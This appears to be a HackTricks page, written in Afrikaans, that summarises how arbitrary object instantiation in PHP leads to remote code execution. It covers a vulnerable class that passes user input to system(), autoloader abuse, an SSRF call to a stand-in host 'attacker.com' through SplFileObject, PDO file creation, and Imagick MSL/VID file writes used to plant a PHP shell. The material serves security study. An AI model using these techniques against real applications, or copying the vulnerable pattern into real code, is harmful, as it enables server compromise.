# PHP - RCE misbruik van objekskepping: new $\_GET\["a"]\($\_GET\["b") {{#include ../../../banners/hacktricks-training.md}} Dit is basies 'n opsomming van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Inleiding Die skepping van nuwe arbitrêre objek, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos in 'n [**skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uiteengesit. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik. ## RCE via Aangepaste Klasse of Autoloading Die sintaksis `new $a($b)` word gebruik om 'n objek te instantiëer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays is, of van JSON, waar hulle as ander tipes mag voorkom. Oorweeg die kode-snippet hieronder: ```php class App { function __construct ($cmd) { system($cmd); } } class App2 { function App2 ($cmd) { system($cmd); } } $a = $_GET['a']; $b = $_GET['b']; new $a($b); ``` In hierdie geval, om `$a` op `App` of `App2` en `$b` op 'n stelselaanroep (bv. `uname -a`) te stel, lei tot die uitvoering van daardie aanroep. **Outomatiese laai funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; }); function __autoload($class_name) { include $class_name . '.php'; }; spl_autoload_register(); ``` Die gedrag van outomatiese laai varieer met PHP weergawes, wat verskillende RCE moontlikhede bied. ## RCE via Ingeboude Klasse In die afwesigheid van pasgemaakte klasse of outomatiese laaiers, kan **ingeboude PHP klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met `get_declared_classes()`. Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) getoon. **RCE via spesifieke metodes sluit in:** ### **SSRF + Phar Deserialisering** Die `SplFileObject` klas stel SSRF in staat deur sy konstruktor, wat verbindings na enige URL toelaat: ```php new SplFileObject('http://attacker.com/'); ``` SSRF kan lei tot deserialisering aanvalle in weergawes van PHP voor 8.0 wat die Phar protokol gebruik. ### **Eksploitering van PDO's** Die PDO klas konstruktor laat verbindings toe tot databasisse via DSN stringe, wat moontlik lêer skep of ander interaksies moontlik maak: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die `SoapClient` en `SimpleXMLElement` konstruktors, afhangende van die weergawe van libxml2. ## RCE via Imagick-uitbreiding In die analise van 'n **projek se afhanklikhede**, is ontdek dat **Imagick** benut kan word vir **opdraguitvoering** deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut. ### VID parser Die VID parser vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik. #### VID Parser + Lêeroplaai Daar word opgemerk dat PHP tydelik opgelaaide lêers stoor in `/tmp/phpXXXXXX`. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan wildcard in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik. ### PHP Crash + Brute Force 'n Metode wat beskryf word in die [**oorspronklike skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die opgradering van lêers wat 'n bedienerkragopval veroorsaak voordat dit verwyder word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek is egter gevind om slegs effektief te wees in 'n verouderde weergawe van ImageMagick. ## Verwysings - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) {{#include ../../../banners/hacktricks-training.md}}